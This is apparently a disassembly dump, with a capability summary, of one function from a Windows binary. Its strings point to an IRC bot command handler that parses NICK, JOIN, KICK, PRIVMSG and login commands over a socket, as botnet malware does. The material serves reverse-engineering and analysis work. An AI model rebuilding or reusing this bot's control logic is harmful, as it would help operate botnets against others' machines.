Function at 0x140007900
Capabilities:
Create process on windows
Create thread
Get local ipv4 addresses
Get socket information
Send data
Send data on socket
Terminate process

Disassembly:
jmp 0x140007900
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc58]
sub rsp, 0xd58
movaps xmmword [rsp + 0xd40], xmm6
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rbp + 0xc30], rax
mov rax, qword [rbp + 0xcc8]
mov r14, r8
mov rbx, qword [rbp + 0xcd0]
mov rsi, rcx
mov r13, qword [rbp + 0xcc0]
xor edi, edi
mov r12, qword [rbp + 0xce0]
mov r8d, 0x200
mov qword [rbp - 0x58], rax
mov r15, r9
mov rax, qword [rbp + 0xcd8]
movq xmm6, rbx
mov qword [rsp + 0x58], rdx
xor edx, edx
mov qword [rbp - 0x78], rcx
lea rcx, [rbp + 0x4b0]
punpcklqdq xmm6, xmm6
mov qword [rbp - 0x70], r13
mov qword [rbp + 0xb0], rax
mov dword [rsp + 0x50], edi
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
mov r8d, send
mov dword [rsp + 0x70], edi
mov rdx, r13
lea rcx, [rbp + 0x498]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400079ee
movdqa xmm0, xmmword [0x1400175c0]
pslld xmm0, 7
pmovsxdq xmm0, xmm0
paddq xmm0, xmm6
movdqu xmmword [rsp + 0x78], xmm0
jmp 0x140007a11
lea rax, [rsp + 0x78]
mov ecx, 2
nop dword [rax + rax]
mov qword [rax], rbx
lea rax, [rax + 8]
sub rbx, 0xffffffffffffff80
sub rcx, 1
jne 0x140007a00
mov eax, 1
test rsi, rsi
je 0x140007ca4
xor edx, edx
lea rcx, [rbp + 0x830]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x1ff
lea rcx, [rbp + 0x830]
mov rdx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rdx, [0x140016dc8]
lea rcx, [rbp + 0x830]
call sub.VCRUNTIME140.dll_strstr
mov r8d, 0x1ff
mov qword [rbp - 0x68], rax
lea rdx, [rbp + 0x830]
lea rcx, [rbp + 0xa30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rdx, [0x140016dcc]
lea rcx, [rbp + 0xa30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov qword [rbp + 0x370], rax
mov ebx, 1
nop word [rax + rax]
lea rdx, [0x140016dcc]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov qword [rbp + rbx*8 + 0x370], rax
inc rbx
cmp rbx, 0x20
jl 0x140007aa0
cmp qword [rbp + 0x370], rdi
je 0x140007c9f
cmp qword [rbp + 0x378], rdi
je 0x140007c9f
xor edx, edx
lea rcx, [rbp + 0x730]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x1f
lea rdx, [rbp + 0x468]
nop dword [rax + rax]
mov rcx, qword [rdx]
test rcx, rcx
je 0x140007b2a
cmp byte [rcx], 0x2d
jne 0x140007b34
cmp byte [rcx + 2], dil
jne 0x140007b34
movsx rax, byte [rcx + 1]
mov word [rcx], di
mov byte [rcx + 2], dil
mov qword [rdx], rdi
mov byte [rbp + rax + 0x730], 1
sub rdx, 8
sub r8d, 1
jns 0x140007b00
cmp byte [rbp + 0x7a3], dil
mov eax, edi
mov r11d, 1
cmovne eax, r11d
mov dword [rsp + 0x60], eax
cmp byte [rbp + 0x79e], dil
je 0x140007b5d
mov dword [rsp + 0x60], edi
mov dword [rsp + 0x50], r11d
mov rsi, qword [rbp + 0x370]
cmp byte [rsi], 0xa
je 0x140007bb0
mov r8d, 0x7f
lea rcx, [rbp + 0x6b0]
mov rdx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rdx, [rsi + 1]
mov r8d, reloc.WS2_32.dll_socket
lea rcx, [rbp + 0x480]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rdx, [0x140016dd0]
lea rcx, [rbp + 0x480]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
mov r11d, 1
mov rcx, rdi
lea rdx, [0x140016dd4]
mov r10d, 5
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rsi + rcx - 1]
jne 0x140007ccf
cmp rcx, r10
jne 0x140007bc0
xor edx, edx
mov byte [rsi + 1], 0x4f
mov r8d, 0x200
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rbp + 0x378]
lea rdx, str.PONG__s_r_n
inc r8
lea rcx, [rbp + 0xc0]
call fcn.140001393
mov rsi, 0xffffffffffffffff
lea rax, [rbp + 0xc0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140007c20
mov rbx, qword [rsp + 0x58]
lea rdx, [rbp + 0xc0]
mov rcx, rbx
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp dword [r12], edi
jne 0x140007c9f
xor edx, edx
lea rcx, [rbp + 0xc0]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov r9, r15
lea rdx, str.JOIN__s__s_r_n
mov r8, r14
lea rcx, [rbp + 0xc0]
call fcn.140001393
lea rax, [rbp + 0xc0]
nop dword [rax + rax]
inc rsi
cmp byte [rax + rsi], dil
jne 0x140007c80
mov r8, rsi
lea rdx, [rbp + 0xc0]
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
mov eax, 1
mov rcx, qword [rbp + 0xc30]
xor rcx, rsp
call fcn.1400011d6
movaps xmm6, xmmword [rsp + 0xd40]
add rsp, 0xd58
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rbx, qword [rbp + 0x378]
lea rdx, [0x140016e00]
mov rcx, rdi
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140007cf5
cmp rcx, 4
jne 0x140007ce0
jmp 0x140007d17
mov rcx, rdi
lea rdx, [0x140016e04]
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140007e2f
cmp rcx, 4
jne 0x140007d00
xor edx, edx
lea rcx, [rbp + 0xc0]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov r9, r15
lea rdx, str.JOIN__s__s_r_n
mov r8, r14
lea rcx, [rbp + 0xc0]
call fcn.140001393
mov rsi, 0xffffffffffffffff
lea rax, [rbp + 0xc0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140007d55
mov rbx, qword [rsp + 0x58]
lea rdx, [rbp + 0xc0]
mov rcx, rbx
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
lea rcx, [rbp + 0xc0]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov r8, r13
lea rdx, str.USERHOST__s_r_n
lea rcx, [rbp + 0xc0]
call fcn.140001393
lea rax, [rbp + 0xc0]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140007db0
xor r9d, r9d
lea rdx, [rbp + 0xc0]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
xor edx, edx
lea rcx, [rbp + 0xc0]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov r8, r13
lea rdx, str.MODE__s_i_r_n
lea rcx, [rbp + 0xc0]
call fcn.140001393
lea rcx, [rbp + 0xc0]
nop dword [rax]
inc rsi
cmp byte [rcx + rsi], dil
jne 0x140007e00
mov r8, rsi
lea rdx, [rbp + 0xc0]
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
mov eax, 1
mov dword [0x14006a1b0], eax
jmp 0x140007ca4
mov rdx, rdi
lea rcx, [0x140016e28]
nop dword [rax]
movzx eax, byte [rcx + rdx]
inc rdx
cmp al, byte [rbx + rdx - 1]
jne 0x140007e8b
cmp rdx, 4
jne 0x140007e40
mov rcx, qword [rbp + 0x388]
lea rdx, [0x140016e2c]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140007c9f
mov rcx, qword [rbp + 0xb0]
lea rdx, [rax + 1]
mov r8d, 0x9f
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
jmp 0x140007c9f
mov rcx, rdi
lea rdx, [0x140016e30]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140007ed4
cmp rcx, 4
jne 0x140007ea0
mov rcx, r13
call fcn.1400012d5
mov rcx, qword [rsp + 0x58]
lea rdx, str.NICK__s_r_n
mov r8, r13
call fcn.140001271
jmp 0x140007c9f
mov r9, qword [rsp + 0x78]
lea r8, [rbp + 0x6b0]
mov rax, r9
sub r8, r9
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140007f03
inc rax
test ecx, ecx
jne 0x140007ef0
mov rax, qword [rbp - 0x80]
lea r8, [rbp + 0x6b0]
test edx, edx
mov r13d, edi
sete r13b
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140007f33
inc rax
test ecx, ecx
jne 0x140007f20
test edx, edx
mov rcx, rdi
lea rdx, str.KICK
cmove r13d, r11d
mov dword [rsp + 0x6c], r13d
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400081a3
cmp rcx, r10
jne 0x140007f50
mov rsi, 0xffffffffffffffff
mov rbx, qword [rbp + 0x388]
cmp byte [r9], dil
je 0x140008053
mov r8d, 0x7f
lea rcx, [rbp + 0x6b0]
mov rdx, r9
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
test rbx, rbx
je 0x140008053
lea rax, [rbp + 0x480]
mov r8, rbx
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140007fc3
inc rax
test ecx, ecx
jne 0x140007fb0
test edx, edx
jne 0x140008053
mov r10, qword [rsp + 0x78]
lea r8, [rbp + 0x480]
lea rdx, str.User__s_logged_out
lea rcx, [rbp + 0x4b0]
mov byte [r10], dil
call fcn.140001393
xor edx, edx
lea rcx, [rbp + 0xc0]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp + 0x4b0]
lea r8, [rbp + 0x480]
lea rdx, str.NOTICE__s_:_s_r_n
lea rcx, [rbp + 0xc0]
call fcn.140001393
lea rax, [rbp + 0xc0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140008030
mov r13, qword [rsp + 0x58]
lea rdx, [rbp + 0xc0]
mov rcx, r13
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
jmp 0x140008058
mov r13, qword [rsp + 0x58]
mov rax, qword [rbp - 0x80]
cmp byte [rax], dil
je 0x14000812c
mov r8d, 0x7f
lea rcx, [rbp + 0x6b0]
mov rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
test rbx, rbx
je 0x14000812c
lea rax, [rbp + 0x480]
mov r8, rbx
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400080a4
inc rax
test ecx, ecx
jne 0x140008091
test edx, edx
jne 0x14000812c
mov rax, qword [rbp - 0x80]
lea r8, [rbp + 0x480]
lea rdx, str.User__s_logged_out
lea rcx, [rbp + 0x4b0]
mov byte [rax], dil
call fcn.140001393
xor edx, edx
lea rcx, [rbp + 0xc0]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
lea r9, [rbp + 0x4b0]
lea r8, [rbp + 0x480]
lea rdx, str.NOTICE__s_:_s_r_n
lea rcx, [rbp + 0xc0]
call fcn.140001393
lea rax, [rbp + 0xc0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140008110
xor r9d, r9d
lea rdx, [rbp + 0xc0]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp - 0x70]
sub rbx, rdx
movzx ecx, byte [rdx]
movzx eax, byte [rdx + rbx]
sub ecx, eax
jne 0x140008145
inc rdx
test eax, eax
jne 0x140008133
test ecx, ecx
jne 0x140007c9f
xor edx, edx
mov dword [r12], edi
mov r8d, 0x200
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
mov r9, r15
lea rdx, str.JOIN__s__s_r_n
mov r8, r14
lea rcx, [rbp + 0xc0]
call fcn.140001393
lea rax, [rbp + 0xc0]
inc rsi
cmp byte [rax + rsi], dil
jne 0x140008185
mov r8, rsi
lea rdx, [rbp + 0xc0]
xor r9d, r9d
mov rcx, r13
jmp 0x140007c99
mov rcx, rdi
lea rdx, str.NICK
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140008332
cmp rcx, r10
jne 0x1400081b0
mov rbx, qword [rbp + 0x380]
lea r8, [rbp + 0x6b0]
inc rbx
mov rax, r9
sub r8, r9
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400081f3
inc rax
test ecx, ecx
jne 0x1400081e0
test edx, edx
jne 0x140008260
mov edx, 0x21
lea rcx, [rbp + 0x6b0]
call sub.VCRUNTIME140.dll_strchr
mov r9, rax
test rax, rax
je 0x140008260
mov r10, qword [rsp + 0x78]
mov rdx, rbx
mov r8, r10
sub r8, rbx
mov byte [r10], 0x3a
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [r8 + rdx + 1], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140008230
lea rcx, [r10 + 1]
cmp byte [rcx + 1], dil
lea rcx, [rcx + 1]
jne 0x140008244
xor edx, edx
movzx eax, byte [r9 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140008250
mov rdi, qword [rbp - 0x80]
lea r8, [rbp + 0x6b0]
mov rax, rdi
sub r8, rdi
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140008284
inc rax
test ecx, ecx
jne 0x140008271
test edx, edx
jne 0x1400082e0
mov edx, 0x21
lea rcx, [rbp + 0x6b0]
call sub.VCRUNTIME140.dll_strchr
mov r9, rax
test rax, rax
je 0x1400082e0
mov r8, rdi
mov byte [rdi], 0x3a
sub r8, rbx
mov rdx, rbx
nop dword [rax]
movzx ecx, byte [rdx]
mov byte [r8 + rdx + 1], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400082b0
lea rcx, [rdi + 1]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400082c4
xor edx, edx
movzx eax, byte [r9 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400082d0
test rbx, rbx
je 0x140007c9f
mov r10, qword [rbp - 0x70]
lea rax, [rbp + 0x480]
mov r9, r10
sub r9, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140008313
inc rax
test ecx, ecx
jne 0x140008300
test edx, edx
jne 0x140007c9f
mov r8d, send
mov rdx, rbx
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
jmp 0x140007c9f
mov rcx, rdi
lea r15, str.PART
nop dword [rax]
movzx eax, byte [r15 + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140008355
cmp rcx, r10
jne 0x140008340
jmp 0x140008372
mov rcx, rdi
lea rdx, str.QUIT
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400083bf
cmp rcx, r10
jne 0x140008360
mov r11d, edi
lea r10, [rsp + 0x78]
nop word [rax + rax]
mov r9, qword [r10]
cmp byte [r9], dil
je 0x1400083ac
mov r8, rsi
mov rax, r9
sub r8, r9
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400083a4
inc rax
test ecx, ecx
jne 0x140008391
test edx, edx
je 0x140008434
inc r11d
add r10, 8
cmp r11d, 2
jl 0x140008380
mov r11d, 1
mov rcx, rdi
lea rdx, [0x140016e8c]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400084d7
cmp rcx, 4
jne 0x1400083d0
mov r8, qword [rbp + 0x390]
mov rdx, r8
sub rdx, r14
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [r14]
movzx eax, byte [r14 + rdx]
sub ecx, eax
jne 0x140008414
inc r14
test eax, eax
jne 0x140008400
test ecx, ecx
jne 0x14000841c
mov dword [r12], r11d
lea rdx, str.Joined_channel__s
lea rcx, [rbp + 0x4b0]
call fcn.140001393
jmp 0x140007c9f
lea r8, [rbp + 0x480]
mov byte [r9], dil
lea rdx, str.User__s_logged_out
lea rcx, [rbp + 0x4b0]
call fcn.140001393
mov r9d, 5
nop word [rax + rax]
movzx eax, byte [r15 + rdi]
inc rdi
cmp al, byte [rbx + rdi - 1]
jne 0x140007c9f
cmp rdi, r9
jne 0x140008460
xor edx, edx
lea rcx, [rbp + 0xc0]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
lea r8, [rsi + 1]
lea r9, [rbp + 0x4b0]
lea rdx, str.NOTICE__s_:_s_r_n
lea rcx, [rbp + 0xc0]
call fcn.140001393
lea rax, [rbp + 0xc0]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400084b7
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp + 0xc0]
mov r8, rsi
xor r9d, r9d
jmp 0x140007c99
mov rcx, rdi
lea r9, str.PRIVMSG
mov r8d, 8
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
lea r11, [0x140016ebc]
inc rcx
lea rdx, str.NOTICE
cmp al, byte [rbx + rcx - 1]
jne 0x140008513
cmp rcx, r8
jne 0x1400084f0
jmp 0x140008564
mov rcx, rdi
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x140008535
cmp rcx, 7
jne 0x140008520
jmp 0x140008564
mov rcx, rdi
nop dword [rax + rax]
movzx eax, byte [r11 + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x14000940b
cmp rcx, 4
jne 0x140008540
cmp dword [reloc.WS2_32.dll_accept], edi
je 0x14000940b
mov rcx, rdi
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
mov rsi, 0xffffffffffffffff
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x14000858c
cmp rcx, r8
jne 0x140008570
jmp 0x1400085a7
mov rcx, rdi
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x14000872a
cmp rcx, 7
jne 0x140008590
mov rax, rdi
nop word [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [rbx + rax - 1]
jne 0x1400085c7
cmp rax, 7
jne 0x1400085b0
cmp cl, byte [rbx + rax - 1]
mov r14d, dword [rsp + 0x50]
mov ebx, 1
cmove r14d, ebx
mov rbx, qword [rbp + 0x380]
mov dword [rsp + 0x50], r14d
test rbx, rbx
je 0x140007c9f
lea rdx, [0x140016ec0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140008603
test r14d, r14d
je 0x140008611
lea rbx, [rbp + 0x480]
mov qword [rbp + 0x380], rbx
mov rdx, qword [rbp + 0x388]
test rdx, rdx
je 0x140007c9f
inc rdx
lea rax, [rbp + 0x498]
mov qword [rbp + 0x388], rdx
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140008635
lea rcx, [rbp + 0x498]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
neg eax
sbb ecx, ecx
add ecx, 4
mov r15d, ecx
mov r14, qword [rbp + rcx*8 + 0x370]
test r14, r14
je 0x140007c9f
mov rdx, r14
mov dword [rsp + 0x64], r15d
lea rcx, [0x140016ec8]
mov r12d, r15d
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x14000874c
movzx edx, byte [rbx]
cmp dl, 0x23
je 0x1400086c5
cmp byte [0x14001d905], dil
je 0x1400086c5
movsxd r9, dword [0x1400650e4]
lea rax, [0x140000000]
mov rcx, qword [rsp + 0x58]
lea rdx, [0x140016ed8]
mov r8, rbx
mov r9, qword [rax + r9*8 + 0x1bd90]
call fcn.1400013f2
jmp 0x140007c9f
mov dword [rsp + 0x64], r15d
lea r8, [0x140016ef8]
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rcx]
inc rcx
cmp al, byte [r14 + rcx - 1]
jne 0x14000874c
cmp rcx, 6
jne 0x1400086e0
mov r9, qword [rbp + r15*8 + 0x378]
mov dword [rsp + 0x64], r15d
test r9, r9
je 0x14000874c
mov dword [rsp + 0x64], r15d
cmp dl, 0x23
je 0x14000874c
mov rcx, qword [rsp + 0x58]
lea rdx, str.NOTICE__s_:
mov r8, rbx
call fcn.1400013f2
jmp 0x140007c9f
mov rax, qword [rbp + 0x388]
mov r12d, 4
inc qword [rbp + 0x390]
mov dword [rsp + 0x64], r12d
mov qword [rbp + 0x380], rax
jmp 0x140008753
lea r11, [0x140016ebc]
movzx r10d, byte [0x14007a2a8]
mov edx, r12d
lea r12, [rdx*8]
mov rax, qword [rbp + r12 + 0x370]
lea rbx, [rax + 1]
mov qword [rbp + r12 + 0x370], rbx
cmp byte [rax], r10b
jne 0x140007c9f
mov rcx, rdi
lea r8, str.login
nop dword [rax]
movzx eax, byte [r8 + rcx]
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x1400088de
cmp rcx, 6
jne 0x140008790
mov rbx, qword [rbp + rdx*8 + 0x378]
test rbx, rbx
je 0x140007c9f
test r13d, r13d
jne 0x140007c9f
mov r14, qword [rbp + 0x380]
lea rdx, [0x140016ec0]
mov rcx, r14
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140007c9f
mov rcx, qword [rbp + 0x370]
lea rdx, [0x140016dd0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
lea rdx, [0x140016c30]
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
lea r12, str.test
mov r9, rbx
sub r9, r12
mov r15, rax
mov rcx, r12
nop word [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + r9]
sub r8d, edx
jne 0x140008835
inc rcx
test edx, edx
jne 0x140008820
test r8d, r8d
jne 0x140007c9f
mov rcx, r15
call fcn.1400011db
test eax, eax
je 0x140007c9f
nop
mov r9, qword [rsp + rdi*8 + 0x78]
cmp byte [r9], 0
jne 0x14000887b
mov r8, rbx
mov rax, r12
sub r8, r12
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140008877
inc rax
test ecx, ecx
jne 0x140008864
test edx, edx
je 0x140008889
inc rdi
cmp rdi, 2
jl 0x140008850
jmp 0x140007c9f
mov r8d, 0x7f
lea rdx, [rbp + 0x6b0]
mov rcx, r9
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
cmp dword [rsp + 0x60], 0
jne 0x1400088bf
mov r9d, dword [rsp + 0x50]
lea r8, str.password_accepted.
mov rcx, qword [rsp + 0x58]
mov rdx, r14
call fcn.14000115e
mov r9, r15
lea r8, [rsi + 1]
lea rdx, str.User__s___s__logged_in
lea rcx, [rbp + 0x4b0]
call fcn.140001393
jmp 0x140007c9f
mov r13, qword [rbp + 0x378]
cmp dword [rsp + 0x6c], edi
jne 0x140008909
mov rcx, rdi
nop
movzx eax, byte [r11 + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x14000940b
cmp rcx, 4
jne 0x1400088f0
mov r9d, dword [reloc.WS2_32.dll_recv]
lea rcx, [0x140000000]
mov dword [rsp + 0x6c], edi
mov r14d, edi
test r9d, r9d
jle 0x140008974
movsxd rax, r14d
lea r15, [rcx + 0x69630]
imul r14, rax, 0xb8
mov r8, rbx
add r15, r14
mov rax, r15
sub r8, r15
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140008953
inc rax
test ecx, ecx
jne 0x140008940
test edx, edx
je 0x140008b21
mov r14d, dword [rsp + 0x6c]
lea rcx, [0x140000000]
inc r14d
mov dword [rsp + 0x6c], r14d
cmp r14d, r9d
jl 0x140008923
mov r12, qword [rbp - 0x78]
mov eax, edi
cmp byte [rbx], r10b
je 0x140008987
test eax, eax
je 0x140008dfa
mov r8, qword [rbp - 0x70]
lea rdx, [0x140016f68]
mov rcx, r12
call fcn.14000103c
lea r8, [rbp + 0x480]
mov rcx, r12
lea rdx, str._user
call fcn.14000103c
mov r8, qword [rbp + 0x380]
lea rdx, str._chan
mov rcx, r12
call fcn.14000103c
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov r15d, 8
mov ebx, r15d
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
lea rcx, [rbp + 0x470]
add r8d, 0x61
mov dword [rbp - 0x60], r8d
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140008a13
lea r8, [rbp - 0x60]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140008a30
sub rbx, 1
jne 0x1400089e0
lea r8, [rbp + 0x470]
mov rcx, r12
lea rdx, str._rndnick
call fcn.14000103c
mov r8, qword [rbp - 0x58]
lea rdx, str._server
mov rcx, r12
call fcn.14000103c
lea rdx, str._chr_
mov rcx, r12
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140008d4f
nop word [rax + rax]
lea rdx, str._chr_
mov rcx, r12
call sub.VCRUNTIME140.dll_strstr
mov r8d, 4
lea rcx, [rbp + 0x470]
mov rbx, rax
lea rdx, [rax + 5]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rdx, [0x140016fa4]
lea rcx, [rbp + 0x470]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok]
movzx ecx, byte [rbp + 0x470]
sub cl, 0x30
cmp cl, 9
jbe 0x140008af6
mov r8d, 3
lea rdx, [0x140016fa8]
lea rcx, [rbp + 0x470]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea rcx, [rbp + 0x470]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
test eax, eax
jle 0x140008cb9
lea rcx, [rbp + 0x470]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov byte [rsp + 0x68], al
jmp 0x140008ce6
mov rcx, qword [rbp - 0x78]
lea rdx, [0x140016dc8]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140007c9f
movzx ecx, byte [0x14007a2a8]
mov r8d, 0x9f
mov byte [rax + 2], cl
movzx ecx, byte [0x14007a2a8]
mov byte [rax + 3], cl
lea rcx, [0x140000000]
lea rdx, [rcx + 0x69648]
add rdx, r14
lea rcx, [rax + 4]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov r13, qword [rbp - 0x78]
lea r14, [rbp + 0x3f0]
mov rdi, qword [rbp - 0x68]
add r14, r12
mov r12d, send
nop word [rax + rax]
mov r8d, r12d
lea rdx, str.__d_
lea rcx, [rbp + 0x470]
call fcn.140001393
lea rdx, [rbp + 0x470]
mov rcx, r13
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140008be8
cmp qword [r14], 0
je 0x140008bee
mov rax, rsi
inc rax
cmp byte [r15 + rax], 0
jne 0x140008bc3
add rdi, rax
je 0x140008c1f
mov rdx, qword [r14 - 8]
mov rcx, rdi
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140008c1f
mov r8, rax
jmp 0x140008c10
cmp qword [r14], 0
jne 0x140008c1f
mov r8d, 2
lea rdx, [rbp + 0x470]
lea rcx, [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea r8, [rsp + 0x68]
mov byte [rsp + 0x6a], 0
lea rdx, [rbp + 0x470]
mov rcx, r13
call fcn.14000103c
dec r12d
sub r14, 8
test r12d, r12d
jg 0x140008b90
mov eax, dword [rsp + 0x64]
lea r15, [rbp + 0x3f0]
mov r13, qword [rbp + 0x378]
mov r14d, reloc.WS2_32.dll_recv
mov r12, qword [rbp - 0x78]
mov qword [rbp - 0x68], rdi
xor edi, edi
lea r15, [r15 + rax*8]
mov r8d, r14d
lea rdx, [0x140016f64]
lea rcx, [rbp + 0x470]
call fcn.140001393
lea rdx, [rbp + 0x470]
mov rcx, r12
call sub.VCRUNTIME140.dll_strstr
